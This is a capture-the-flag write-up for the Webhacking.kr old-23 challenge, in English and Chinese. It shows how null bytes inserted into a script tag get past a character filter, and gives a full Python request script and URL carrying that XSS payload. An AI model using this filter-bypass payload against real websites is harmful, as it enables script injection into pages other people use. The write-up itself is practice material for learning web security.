Webhacking.kr old-23

Challenge

Inject a script despite the character filter.

绕过字符过滤注入 script。

https://webhacking.kr/challenge/bonus-3/

Analysis

这里通过插入 %00 改变服务端过滤与挑战判据看到的字符串。题目回执与浏览器实际执行 XSS 是不同的判据。

Solution

完整请求脚本如下。PAYLOAD 已经包含 %00，所以脚本直接拼接 query string，避免 HTTP client 把 %00 再编码为字面量 %2500：

#!/usr/bin/env python3
import requests

BASE_URL = "https://webhacking.kr/challenge/bonus-3/index.php"
PAYLOAD = "<s%00c%00r%00i%00p%00t%00>alert(1);</s%00c%00r%00i%00p%00t%00>"

def main() -> None:
    response = requests.get(
        BASE_URL + "?code=" + PAYLOAD,
        timeout=20,
    )
    response.raise_for_status()
    print(response.text)

if __name__ == "__main__":
    main()

等价的请求目标是：

https://webhacking.kr/challenge/bonus-3/index.php?code=<s%00c%00r%00i%00p%00t%00>alert(1);</s%00c%00r%00i%00p%00t%00>